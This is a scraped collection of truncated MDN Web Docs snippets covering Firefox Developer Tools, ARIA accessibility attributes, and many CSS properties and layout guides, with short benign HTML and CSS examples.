Web Docs. The "Browser compatibility" section of the article gives details of browser support for the property. In the All Issues section, click the name of the element that uses the property to select that element in the inspector. If more than one element has a given property applied to it, click the triangle to show all the occurences. To configure the set of browsers you want the Compatibility ...
Page Inspector - Firefox Developer Tools
the following how to guides: Open the Inspector Examine and edit HTML Examine and edit the box model Inspect and select colors Reposition elements in the page Edit fonts Visualize transforms Use the Inspector API Select an element Examine and edit CSS Examine event listeners Work with animations Edit CSS filters Edit CSS shapes View background images Use the Inspector from the
Web Console Examine CSS grid layouts Examine CSS flexbox layouts Reference Keyboard shortcuts Settings ...
How to - Firefox Developer Tools
Open the Performance tools To open the Performance tools: press Shift + F5 select "Performance" from the
Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on OS X) select "Performance" from Tools button, in the Toolbar, if you have one: Record a profile To start a new recording, press the stopwatch icon in the Recordings pane. To stop, press it again: You can also start and stop recording from the
Web Console, using console.profile() and console.profileEnd(). Save a profile To save a profile, click the link labeled "Save" in the Recordings pane: Load a profile To load a profile, click "Import..." and choose the file: Clear all loaded profiles To clear all loaded profiles, click "Clear". If you do this, you'll lose any l...
Remote Debugging - Firefox Developer Tools
The other browser might be on the same device as the tools themselves or on a different device, such as a phone connected over USB. The detailed instructions for connecting the developer tools are specific to the runtime. You can connect the developer tools to Gecko-based runtimes like Firefox Desktop, Firefox for Android, and Thunderbird. ...
Rulers - Firefox Developer Tools
The dimensions of the viewport are displayed near the top-right corner of the viewport. To be able to toggle rulers for a page, you first need to enable the button by going to the settings page for the Developer Tools and checking "Toggle rulers for the page" under Available Toolbox Buttons. Once enabled, the "Toggle rulers for the page" button appears at the top right of the Toolbox, in the same place as the Settings/Options button. ...
Cookies - Firefox Developer Tools
ate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain. Last accessed -- Date and time when the cookie was last read. Created -- Date and time when the cookie was created. HostOnly -- Is this cookie a domain cookie? That is, the domain value matches exactly the domain of the current
website. Note: Some of the columns are not shown by default -- to change the column display, right-click on the existing table headings and use the resulting context menu to show/hide the columns. You can edit cookies by double-clicking inside cells in the Table Widget and editing the values they contain, and add new cookies by clicking the "Plus" (+) button and then editing the resulting new ro...
View Source - Firefox Developer Tools
e looking for HTML errors. To access Go to Line from the keyboard, press Control + Option + L on macOS, or Alt + Shift + L on Windows or Linux. Link to a line number It is possible to link to a particular line, by adding the #lineNNN anchor to the url the browser will jump to the NNN line. For example view-source:https://www.mozilla.org/#line100 View Selection Source If you select part of a
web page and conext-click, you'll see a context menu item labeled "View Selection Source", that behaves just like "View Page Source", except you only see the source for the selection. View MathML Source If you context-click while the mouse is over some MathML, you'll see a context menu item labeled "View MathML Source": click it to see the MathML source. Limitations of View Source There are limit...
Rich output - Firefox Developer Tools
When the
Web console prints objects, it includes a richer set of information than just the object's name. In particular, it: provides extra information for certain types enables detailed examination of the object's properties provides richer information for DOM elements, and enables you to select them in the Inspector Type-specific rich output The
Web Console provides rich output for many object types, including the following: Object Array Date Promise RegExp Window Document Element Event Examining object properties When an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded. Click on the tria...
ARIA guides - Accessibility
A few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets. Error Handling in Forms Labeling widgets Labeling Composite Widgets and Regions Managing Focus in Composite Widgets (aria-activedescendant vs roving tabindex) Using Landmark Roles Handling Dynamic Updates & Live Regions Virtual vs. ...
ARIA live regions - Accessibility
Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle. For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with aria-live="off". Dropdown box updates useful onscreen information A
website specializing in providing information about planets provides a dropdown box. When a planet is selected from the dropdown, a region on the page is updated with information about the selected planet. HTML <fieldset> <legend>Planet information</legend> <label for="planetsSelect">Planet:</label> <select id="planetsSelect" aria-controls="planetInfo"> <option value="">Select a planet&he...
Using the aria-activedescendant attribute - Accessibility
is part of a composite widget within the Document Object Model. It makes do with the overhead of having all or more than one child focusable. As the name specifies, it helps in managing the current active child of the composite widget. Possible effects on user agents and assistive technology The user agent, which is any software that retrieves, renders and facilitates end user interaction with
Web content, uses the aria-activedescendant property to inform the assistive technology about the active child which has focus. This active child using the aria-activedescendant property must always be visible on screen and must be a descendant of the container in the Document Object Model. Note: Opinions may differ on how assistive technology should handle this technique. The information provided b...
Using the aria-relevant attribute - Accessibility
The aria-relevant attribute is an optional value used to describe what types of changes have occurred to an aria-live region, and which are relevant and should be announced. Any change that is not relevant acts in the same manner it would if the aria-live attribute were set to off. aria-relevant is commonly used when a
web page contains content that may be updated while viewing the page. Values A space-delimited list of one or more of the following values: additions Element nodes added to the accessibility tree within the live region; should be considered relevant. removals are deletion of nodes in the accessiblity tree; should be considered relevant. text are changes to the textual content of existing nodes; should be considered relevant. all is equivalent to additions remov...
:fullscreen - CSS: Cascading Style Sheets
matically adjust the size, style, or layout of content when elements switch back and forth between full-screen and traditional presentations. Examples In this example, the color of a button is changed depending on whether or not the document is in full-screen mode. This is done without needing to specifically apply style changes using JavaScript. ...
:hover - CSS: Cascading Style Sheets
isited rules but before the :active one, as defined by the LVHA-order: :link -- :visited -- :hover -- :active. Note: The :hover pseudo-class is problematic on touchscreens. Depending on the browser, the :hover pseudo-class might never match, match only for a moment after touching an element, or continue to match even after the user has stopped touching and until the user touches another element.
Web developers should make sure that content is accessible on devices with limited or non-existent hovering capabilities. Syntax :hover Examples Basic example HTML <a href="#">Try hovering over this link.</a> CSS a { background-color: powderblue; transition: background-color .5s; } a:hover { background-color: gold; } Result Image gallery You can use the :hover pseudo-class to buil...
font-stretch - CSS: Cascading Style Sheets
mi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> Examples Setting a percentage range for font-stretch The following find a local Open Sans font or import it, and allow using the font for normal, semi-condensed and semi-expanded states. @font-face { font-family: "Open Sans"; src: local("Open Sans") format("woff2"), url("/fonts/OpenSans-Regular-
webfont.woff") format("woff"); font-stretch: 87.5% 112.5%; } Specifications Specification Status Comment CSS Fonts Module Level 4The definition of 'font-stretch' in that specification. Working Draft CSS Fonts Module Level 3The definition of 'font-stretch' in that specification. Candidate Recommendation ...
font-weight - CSS: Cascading Style Sheets
ets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> Examples Setting normal font weight in a @font-face rule The following finds a local Open Sans font or import it, and allows using the font for normal font weights. @font-face { font-family: "Open Sans"; src: local("Open Sans") format("woff2"), url("/fonts/OpenSans-Regular-
webfont.woff") format("woff"); font-weight: 400; } Specifications Specification Status Comment CSS Fonts Module Level 4The definition of 'font-weight' in that specification. Working Draft CSS Fonts Module Level 3The definition of 'font-weight' in that specification. Candidate Recommendation ...
src - CSS: Cascading Style Sheets
The src CSS descriptor of the @font-face rule specifies the resource containing font data. It is required for the @font-face rule to be valid. ...
-ms-high-contrast - CSS: Cascading Style Sheets
The -ms-high-contrast CSS media feature is a Microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation. High Contrast Mode is a specialized display mode that prioritizes making content as legible as possible by dynamically replacing foreground and background colors with a user-specified theme. For
web content, theme colors are mapped to content types. This media feature applies to bitmap media types. It does not accept min/max prefixes. Syntax The -ms-high-contrast media feature is specified as one of the following values. Values none ... No longer supported as of Microsoft Edge 18. active Indicates that the subsequent styling rules will be applied when the system is placed in high contrast mod...
forced-colors - CSS: Cascading Style Sheets
Usage notes Properties affected by forced-color mode In forced colors mode, the values of the following properties are treated as if they have no author-level values specified. That is, user-specified values (if any) or browser-specified values are used instead. color fill stroke text-decoration-color text-emphasis-color border-color outline-color column-rule-color scrollbar-color -
webkit-tap-highlight-color box-shadow text-shadow You can use system color keywords with any property other than those listed above, to ensure that the rest of the page integrates with the restricted color palette available in forced colors mode. User preferences Currently no user agent implements this feature, although various operating systems do support such preferences and if this media que...
pointer - CSS: Cascading Style Sheets
a pointing device of limited accuracy. fine The primary input mechanism includes an accurate pointing device. Examples This example creates a small checkbox for users with fine primary pointers and a large checkbox for users with coarse primary pointers. ...
prefers-contrast - CSS: Cascading Style Sheets
Syntax no-preference Indicates that the user has made no preference known to the system. This keyword value evaluates as false in a Boolean context. more Indicates that user has notified the system that they prefer an interface that has a higher level of contrast. less Indicates that user has notified the system that they prefer an interface that has a lower level of contrast. ...
prefers-reduced-data - CSS: Cascading Style Sheets
Syntax no-preference Indicates that the user has made no preference known to the system. This keyword value evaluates as false in the boolean context. reduce Indicates that user has expressed the preference for lightweight alternate content. ...
@media - CSS: Cascading Style Sheets
ght aspect ratio of the output device Deprecated in Media Queries Level 4. device-height Height of the rendering surface of the output device Deprecated in Media Queries Level 4. device-width Width of the rendering surface of the output device Deprecated in Media Queries Level 4. display-mode The display mode of the application, as specified in the
web app manifest's display member Defined in the
Web App Manifest spec. forced-colors Detect whether user agent restricts color palette Added in Media Queries Level 5. grid Does the device use a grid or bitmap screen? height Height of the viewport hover Does the primary input mechanism allow the user to hover over elements? Added in Med...
Using CSS animations - CSS: Cascading Style Sheets
ptional. If from/0% or to/100% is not specified, the browser starts or finishes the animation using the computed values of all attributes. You can optionally include additional keyframes that describe intermediate steps between the start and end of the animation. Examples Note: Some older browsers (pre-2017) may need prefixes; the live examples you can click to see in your browser include the -
webkit prefixed syntax. Making text slide across the browser window This simple example styles the <p> element so that the text slides in from off the right edge of the browser window. Note that animations like this can cause the page to become wider than the browser window. To avoid this problem put the element to be animated in a container, and set overflow:hidden on the container. p { animat...
Using feature queries - CSS: Cascading Style Sheets
Feature queries are created using the CSS at-rule @supports, and are useful as they give
web developers a way to test to see if a browser has support for a certain feature, and then provide CSS that will only run based on the result of that test. In this guide you will learn how to implement progressive enhancement using feature queries. Syntax CSS feature queries are part of the CSS Conditional Rules module, which also contains the media query @media rule; when you use feature queries, you will find they behave in a similar way to media queries. The difference is that with a media query you are testing something about the environment in which the
web page is running, whereas with feature queries you are testing browser support for CSS features. A feature query consists of the @supports r...
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
It enabled proper vertical alignment, so we can at last easily center a box. In this guide, we will take a thorough look at how the alignment and justification properties work in Flexbox. To center our box we use the align-items property to align our item on the cross axis, which in this case is the block axis running vertically. We use justify-content to align the item on the main axis, which in this case the inline axis running horizontally. You can take a look at the code of this example below. ...
Flow Layout and Overflow - CSS: Cascading Style Sheets
the listings in fixed height boxes which only take a limited amount of text. It may not be obvious to the reader that there is more content to click through to when clicking the box or the title. An ellipsis indicates clearly the fact there is more content. The specification would allow a string of content or a regular ellipsis to be inserted. Summary Whether you are in continuous media on the
web or in a Paged Media format such as print or EPUB, understanding how content overflows is useful when dealing with any layout method. By understanding how overflow works in normal flow, you should find it easier to understand the implications of overflow content in layout methods such as grid and flexbox. ...
CSS Fonts - CSS: Cascading Style Sheets
r variants refer to different glyphs or character styles contained within an OpenType font. These include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others. These are all referred to as OpenType Features, and are made available to use on the
web via specific properties and a low-level control property -- font-feature-settings. This article provides you with all you need to know about using OpenType font features in CSS. Variable fonts guide Variable fonts are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file...
Basic Concepts of grid layout - CSS: Cascading Style Sheets
ve</div> </div> I make the .wrapper a grid container. .wrapper { display: grid; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } All the direct children are now grid items. In a
web browser, you won't see any difference to how these items are displayed before turning them into a grid, as grid has created a single column grid for the items. At this point, you may find it useful to work with the Grid Inspector, available as part of Firefox's Developer Tools. If you view this example in Firefox and inspect the grid, you will see a small icon next to the value grid. Click this a...
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
itten in the current writing mode, inline-end is the final column line of our grid. When we specify our grid area using the grid-area property we first define both start lines block-start and inline-start, then both end lines block-end and inline-end. This seems unusual at first as we are used to the physical properties of top, right, bottom and left but makes more sense if you start to think of
websites as being multi-directional in writing mode. Counting backwards We can also count backwards from the block and inline end of the grid, for English that would be the right hand column line and final row line. These lines can be addressed as -1, and you can count back from there - so the penultimate line is -2. It is worth noting that the final line is the final line of the explicit grid, the...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
Rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of HTTP requests is reduced. Note: When using HTTP/2, it may in fact be more bandwidth-friendly to use multiple small requests. Implementation Suppose an image is given to every item with class toolbtn: .toolbtn { background: url(myfile.png); display: inline-block; height: 20px; width: 20px; } A background position can be added either as two x, y values after the url()() in the background, or as background-position. ...
CSS Images - CSS: Cascading Style Sheets
Status Comment CSS Images Module Level 4 Working Draft Added image-resolution, conic-gradient(), and image() CSS Images Module Level 3 Candidate Recommendation Added image-orientation, image-rendering, object-fit and object-position Compatibility StandardThe definition of 'CSS Gradients' in that specification. Living Standard Standardizes the -
webkit prefixed gradient value functions CSS Values and Units Module Level 3The definition of '<url>' in that specification. Candidate Recommendation CSS Level 2 (Revision 1)The definition of '<uri>' in that specification. Recommendation CSS Level 1The definition of '<url>' in that specification. Recommendation Initial definition ...
Using CSS counters - CSS: Cascading Style Sheets
Counters are, in essence, variables maintained by CSS whose values may be incremented by CSS rules to track how many times they're used. Using counters Manipulating a counter's value To use a CSS counter, it must first be initialized to a value with the counter-reset property (0 by default). The same property can also be used to change its value to any specific number. ...
CSS Overflow - CSS: Cascading Style Sheets
active example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Reference CSS properties overflow overflow-block overflow-inline overflow-x overflow-y text-overflow block-overflow line-clamp max-lines continue Non-standard properties -
webkit-line-clamp Specifications Specification Status Comment CSS Overflow Module Level 3The definition of 'overflow' in that specification. Working Draft Changed syntax to allow one or two keywords instead of only one CSS Level 2 (Revision 1)The definition of 'overflow' in that specification. Recommendation Initial definition. ...
Overview of CSS Shapes - CSS: Cascading Style Sheets
ape-outside.enabled pref. Future CSS Shapes Features The initial Shapes specification included a property shape-inside for creating shapes inside an element. This property, along with the possibility of creating shapes on non-floated elements, has been moved to level 2 of the specification. As the shape-inside property was initially in Level 1 of the specification, you may find tutorials on the
web detailing both properties. ...
Shapes From Images - CSS: Cascading Style Sheets
ge is that the image you use must be CORS compatible. An image hosted on the same domain as your site should work, however if your images are hosted on a different domain such as on a CDN you should ensure that they are sending the correct headers to enable them to be used for Shapes. Due to this requirement for CORS compatible images, if you are previewing your file locally without using a local
web server, your shape will not work. Is it a CORS issue? DevTools can help you to identify CORS errors. In Chrome the Console will alert you to CORS problems. In Firefox if you inspect the property you will be alerted to the fact that the image could not be loaded. This should alert you to the fact that your image cannot be used as the source of a shape due to CORS. Setting a threshold The shape...
CSS Shapes - CSS: Cascading Style Sheets
SVG: Shapes and Arbitrarily-Shaped UI Components Specifications Specification Status Comment CSS Shapes Module Level 1 Candidate Recommendation Initial definition ...
CSS values and units - CSS: Cascading Style Sheets
defined keywords as an <ident> <string> <url> Text data types are either <string>, a quoted series of characters, or an <ident>, a "CSS Identifier" which is an unquoted string. A <string> must be quoted with either single or double quotes. CSS Identifiers, listed in the specifications as <ident> or <custom-ident>, must be unquoted. In the CSS specifications, values that can be defined by the
web developer, like keyframe animations, font-family names, or grid areas are listed as a <custom-ident>, <string>, or both. When both quoted and unquoted user defined text values are permitted, the specification will list <custom-ident> | <string>, meaning quotes are optional, such as is the case with animation names: @keyframe validIdent { /* keyframes go here */ } @keyframe 'validString' { ...
Inline formatting context - CSS: Cascading Style Sheets
Inline boxes are laid out one after the other, in the direction sentences run in the writing mode in use: In a horizontal writing mode, boxes are laid out horizontally, starting on the left. In a vertical writing mode they would be laid out vertically starting at the top. In the example below, the two (<div>) elements with the black borders form a block formatting context, inside which each word participates in an inline formatting context. ...
Breadcrumb Navigation - CSS: Cascading Style Sheets
Requirements The items typically display inline with a separator to indicate a hierarchy between individual pages. Recipe Download this example Note: The example above uses two selectors to insert content before every li except the first one. This could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "->"; } This solution uses a more complex selector, but requires less rules. Feel free to choose the solution that you prefer. ...
box-flex-group - CSS: Cascading Style Sheets
specified as any positive <integer>. Formal definition Initial value1Applies toin-flow children of box elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax <integer> Examples Simple usage example In the original Flexbox spec, box-flex-group could be used to assign flex children to different groups to distribute flexible space between: article:nth-child(1) { -
webkit-box-flex-group: 1; } article:nth-child(2) { -
webkit-box-flex-group: 2; } This was only ever supported in
WebKit-based browsers, with a prefix, and in subsequent versions of the spec this functionality does not have an equivalent. Instead, distribution of space inside the flex container is now handled using flex-basis, flex-grow, and flex-shrink. Specifications Not part of any standard. ...
box-lines - CSS: Cascading Style Sheets
s layout in multiple rows or columns. Formal definition Initial valuesingleApplies tobox elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax single | multiple Examples Simple usage example In the original version of the spec, box-lines allowed you to specify that you wanted your flex container's children to wrap onto multiple lines. This was only supported in
WebKit-based browsers, with a prefix. div { display: box; box-orient: horizontal; box-lines: multiple; } The modern flexbox equivalent is flex-wrap. Specifications Not part of any standard. ...
box-ordinal-group - CSS: Cascading Style Sheets
is specified as any positive <integer>. Formal definition Initial value1Applies tochildren of box elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax <integer> Examples Basic usage example In an older version of the spec, box-ordinal-group was included to allow you to change the display order of flex children inside a flex container: article:nth-child(1) { -
webkit-box-ordinal-group: 2 -moz-box-ordinal-group: 2 box-ordinal-group: 2 } article:nth-child(2) { -
webkit-box-ordinal-group: 1 -moz-box-ordinal-group: 1 box-ordinal-group: 1 } The modern flexbox equivalent is order. Specifications Not part of any standard. ...
box-orient - CSS: Cascading Style Sheets
line-axis | block-axis | inherit Examples Setting horizontal box orientation Here, he box-orient property will cause the two <p> sections in the example to display in the same line. HTML <div class="example"> <p>I will be to the left of my sibling.</p> <p>I will be to the right of my sibling.</p> </div> CSS div.example { display: -moz-box; /* Mozilla */ display: -
webkit-box; /*
WebKit */ display: box; /* As specified */ /* Children should be oriented vertically */ -moz-box-orient: horizontal; /* Mozilla */ -
webkit-box-orient: horizontal; /*
WebKit */ box-orient: horizontal; /* As specified */ } Result Specifications Not part of any standard. ...
font-feature-settings - CSS: Cascading Style Sheets
l request. Syntax /* Use the default settings */ font-feature-settings: normal; /* Set values for OpenType feature tags */ font-feature-settings: "smcp"; font-feature-settings: "smcp" on; font-feature-settings: "swsh" 2; font-feature-settings: "smcp", "swsh" 2; /* Global values */ font-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; Whenever possible,
Web authors should instead use the font-variant shorthand property or an associated longhand property such as font-variant-ligatures, font-variant-caps, font-variant-east-asian, font-variant-alternates, font-variant-numeric or font-variant-position. These lead to more effective, predictable, understandable results than font-feature-settings, which is a low-level feature designed to handle special ca...
font-stretch - CSS: Cascading Style Sheets
<p class="condensed">an elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> CSS /* This example uses the League Mono Variable font, developed by Tyler Finck (https://www.tylerfinck.com/) and used here under the terms of the SIL Open Font License, Version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=OFL_
web */ @font-face { src: url('https://mdn.mozillademos.org/files/16014/LeagueMonoVariable.ttf'); font-family:'LeagueMonoVariable'; font-style: normal; font-stretch: 1% 500%; /* Required by Chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'LeagueMonoVariable', sans-serif; } .condensed { font-stretch: 50%; } .normal { font-stretch: 100%; } .expan...
font-variant-numeric - CSS: Cascading Style Sheets
al-nums | tabular-nums ]<numeric-fraction-values> = [ diagonal-fractions | stacked-fractions ] Examples Setting ordinal numeric forms HTML <p class="ordinal">1st, 2nd, 3rd, 4th, 5th</p> CSS /* This example uses the Source Sans Pro OpenType font, developed by Adobe and used here under the terms of the SIL Open Font License, Version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=OFL_
web */ @font-face { font-family: "Source Sans Pro"; font-style: normal; font-weight: 400; src: url("https://mdn.mozillademos.org/files/15757/SourceSansPro-Regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "Source Sans Pro"; } Result Specifications Specification Status Comment CSS Fonts Module Level 3The definitio...
font-variation-settings - CSS: Cascading Style Sheets
y, and some won't. The important takeaway here is that axis tags are case-sensitive. In order to use variable fonts on your operating system, you need to make sure that it is up to date. For example Linux OSes need the latest Linux Freetype version, and macOS prior to 10.13 does not support variable fonts. If your operating system is not up to date, you will not be able to use variable fonts in
web pages or the Firefox Developer Tools. Formal definition Initial valuenormalApplies toall elements. It also applies to ::first-letter and ::first-line.InheritedyesComputed valueas specifiedAnimation typea transform Formal syntax normal | [ <string> <number> ]# Examples You can find a number of other variable fonts examples at our Variable fonts guide, v-fonts.com, and axis-praxis.org. Weigh...
ime-mode - CSS: Cascading Style Sheets
me-mode: active; ime-mode: inactive; ime-mode: disabled; /* Global values */ ime-mode: inherit; ime-mode: initial; ime-mode: unset; The ime-mode property is only partially and inconsistently implemented in browsers. It was introduced by Microsoft with Internet Explorer 5 as a proprietary extension: -ms-ime-mode Attribute | imeMode Property. Note: In general, it's not appropriate for a public
web site to change the IME mode. This property should only be used for private
web applications or to undo the property if it was previously set by legacy code. Syntax The ime-mode property is specified using one of the keyword values listed below. Values auto No change is made to the current input method editor state. This is the default. normal The IME state should be normal; this value c...
initial-letter-align - CSS: Cascading Style Sheets
a block containerInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax [ auto | alphabetic | hanging | ideographic ] Examples Aligning initial letter HTML <p class="auto ">Initial letter - auto</p> <p class="alphabetic">Initial letter - alphabetic</p> <p class="hanging">Initial letter - hanging</p> <p class="ideographic">Initial letter - ideographic</p> CSS .auto { -
webkit-initial-letter-align: auto; initial-letter-align: auto; } .alphabetic { -
webkit-initial-letter-align: alphabetic; initial-letter-align: alphabetic; } .hanging { -
webkit-initial-letter-align: hanging; initial-letter-align: hanging; } .ideographic { -
webkit-initial-letter-align: ideographic; initial-letter-align: ideographic; } Result Specifications Specification ...
list-style-type - CSS: Cascading Style Sheets
informal numbering. E.g. ????????? upper-armenian * Example disclosure-open Symbol indicating that a disclosure widget such as <details> is opened. disclosure-closed Symbol indicating that a disclosure widget, like <details> is closed. Non-standard extensions A few more predefined types are provided by Mozilla (Firefox), Blink (Chrome and Opera) and
WebKit (Safari) to support list types in other languages. See the compatibility table to check which browsers supports which extension. -moz-ethiopic-halehame Example -moz-ethiopic-halehame-am Example ethiopic-halehame-ti-er -moz-ethiopic-halehame-ti-er Example ethiopic-halehame-ti-et -moz-ethiopic-halehame-ti-et Example hangul -moz-hangul Examp...
mask-border-outset - CSS: Cascading Style Sheets
be supported anywhere yet. When it eventually starts to be supported, it will serve to move the mask away from the inner edge of the element's border box -- you can use it to make the mask start from part way across the border, rather than the inside of it. mask-border-outset: 1rem; Chromium-based browsers support an outdated version of this property -- mask-box-image-outset -- with a prefix: -
webkit-mask-box-image-outset: 1rem; Note: The mask-border page features a working example (using the out-of-date prefixed border mask properties supported in Chromium), so you can get an idea of the effect. Specifications Specification Status Comment CSS Masking Module Level 1The definition of 'mask-border-outset' in that specification. Candidate Recommendation ...
mask-border-repeat - CSS: Cascading Style Sheets
anywhere yet. When it eventually starts to be supported, it will serve to define how the border mask slice will repeat around the border -- i.e. will it just repeat, or be scaled slightly so a whole number of slices fits, or be stretched so one slice fits? mask-border-repeat: round; Chromium-based browsers support an outdated version of this property -- mask-box-image-repeat -- with a prefix: -
webkit-mask-box-image-repeat: round; Note: The mask-border page features a working example (using the out-of-date prefixed border mask properties supported in Chromium), so you can get an idea of the effect. Specifications Specification Status Comment CSS Masking Module Level 1The definition of 'mask-border-repeat' in that specification. Candidate Recommendation ...
mask-border-slice - CSS: Cascading Style Sheets
er> | <percentage> Examples Basic usage This property doesn't appear to be supported anywhere yet. When it eventually starts to be supported, it will serve to define the size of the slices taken from the source image, and used to create the border mask. mask-border-slice: 30 fill; Chromium-based browsers support an outdated version of this property -- mask-box-image-slice -- with a prefix: -
webkit-mask-box-image-slice: 30 fill; Note: The mask-border page features a working example (using the out-of-date prefixed border mask properties supported in Chromium), so you can get an idea of the effect. Note: The fill keyword needs to be included if you want the element's content to be visible. Specifications Specification Status Comment CSS Masking Module Le...
mask-border-source - CSS: Cascading Style Sheets
<angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> Examples Basic usage This property doesn't appear to be supported anywhere yet. When it eventually starts to be supported, it will serve to define the source of the border mask. mask-border-source: url(image.jpg); Chromium-based browsers support an outdated version of this property -- mask-box-image-source -- with a prefix: -
webkit-mask-box-image-source: url(image.jpg); Note: The mask-border page features a working example (using the out-of-date prefixed border mask properties supported in Chromium), so you can get an idea of the effect. Specifications Specification Status Comment CSS Masking Module Level 1The definition of 'mask-border-source' in that specification. Candidate Recommen...
mask-border-width - CSS: Cascading Style Sheets
oesn't appear to be supported anywhere yet. When it eventually starts to be supported, it will serve to define the width of the border mask -- setting this to a different value to mask-border-slice will cause the slices to be scaled to fit the border mask. mask-border-width: 30 fill; Chromium-based browsers support an outdated version of this property -- mask-box-image-width -- with a prefix: -
webkit-mask-box-image-width: 20px; Note: The mask-border page features a working example (using the out-of-date prefixed border mask properties supported in Chromium), so you can get an idea of the effect. Specifications Specification Status Comment CSS Masking Module Level 1The definition of 'mask-border-width' in that specification. Candidate Recommendation In...
mask-clip - CSS: Cascading Style Sheets
clip CSS property determines the area which is affected by a mask. The painted content of an element must be restricted to this area. /* <geometry-box> values */ mask-clip: content-box; mask-clip: padding-box; mask-clip: border-box; mask-clip: margin-box; mask-clip: fill-box; mask-clip: stroke-box; mask-clip: view-box; /* Keyword values */ mask-clip: no-clip; /* Non-standard keyword values */ -
webkit-mask-clip: border; -
webkit-mask-clip: padding; -
webkit-mask-clip: content; -
webkit-mask-clip: text; /* Multiple values */ mask-clip: padding-box, no-clip; mask-clip: view-box, fill-box, border-box; /* Global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; Syntax One or more of the keyword values listed below, separated by commas. Values content-box The painted co...
mask-origin - CSS: Cascading Style Sheets
The mask-origin CSS property sets the origin of a mask. /* Keyword values */ mask-origin: content-box; mask-origin: padding-box; mask-origin: border-box; mask-origin: margin-box; mask-origin: fill-box; mask-origin: stroke-box; mask-origin: view-box; /* Multiple values */ mask-origin: padding-box, content-box; mask-origin: view-box, fill-box, border-box; /* Non-standard keyword values */ -
webkit-mask-origin: content; -
webkit-mask-origin: padding; -
webkit-mask-origin: border; /* Global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; For elements rendered as a single box, this property specifies the mask positioning area. In other words, this property specifies the origin position of an image specified by the mask-image CSS property. For elements rendered as mult...
mask-size - CSS: Cascading Style Sheets
converted into absolute lengthsAnimation typerepeatable list of simple list of length, percentage, or calc Formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> Examples Setting mask size as a percentage CSS #masked { width: 200px; height: 200px; background: blue linear-gradient(red, blue); -
webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg); mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg); -
webkit-mask-size: 50%; mask-size: 50%; /* Can be changed in the live sample */ margin-bottom: 10px; } HTML <div id="masked"> </div> <select id="maskSize"> <option value="auto">auto</option> <option value="40% 80%">40% 80%</option> <option valu...
overflow - CSS: Cascading Style Sheets
s. Printers may still print overflowing content. auto Depends on the user agent. If content fits inside the padding box, it looks the same as visible, but still establishes a new block formatting context. Desktop browsers provide scrollbars if content overflows. overlay Behaves the same as auto, but with the scrollbars drawn on top of content instead of taking up space. Only supported in
WebKit-based (e.g., Safari) and Blink-based (e.g., Chrome or Opera) browsers. Mozilla extensions -moz-scrollbars-none [1] Use overflow: hidden instead. -moz-scrollbars-horizontal [1] Use overflow-x: scroll and overflow-y: hidden, or overflow: hidden scroll instead. -moz-scrollbars-vertical [1] Use overflow-x: hidden and overflow-y: scroll, or overflow: scroll hidden instead. -moz-hidden...
text-align - CSS: Cascading Style Sheets
end us a pull request. Syntax /* Keyword values */ text-align: left; text-align: right; text-align: center; text-align: justify; text-align: justify-all; text-align: start; text-align: end; text-align: match-parent; /* Character-based alignment in a table column */ text-align: "."; text-align: "." center; /* Block alignment values (Non-standard syntax) */ text-align: -moz-center; text-align: -
webkit-center; /* Global values */ text-align: inherit; text-align: initial; text-align: unset; The text-align property is specified in one of the following ways: Using the keyword values start, end, left, right, center, justify, justify-all, or match-parent. Using a <string> value only, in which case the other value defaults to right. Using both a keyword value and a <string> value. Values...
text-decoration-color - CSS: Cascading Style Sheets
and the text decoration line is high enough that people experiencing low vision conditions will be able to read the content of the page. Color contrast ratio is determined by comparing the luminosity of the text and background color values. Color alone should not be used to convey meaning. For example, change of text and text-decoration-color alone is not enough to indicate a link has focus.
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Formal definition Initial valuecurrentcolorApplies toall elements. It also applies to ::first-letter and ::first-line.InheritednoComputed valuecomputed colorAnimation typea color Formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | ...
text-transform - CSS: Cascading Style Sheets
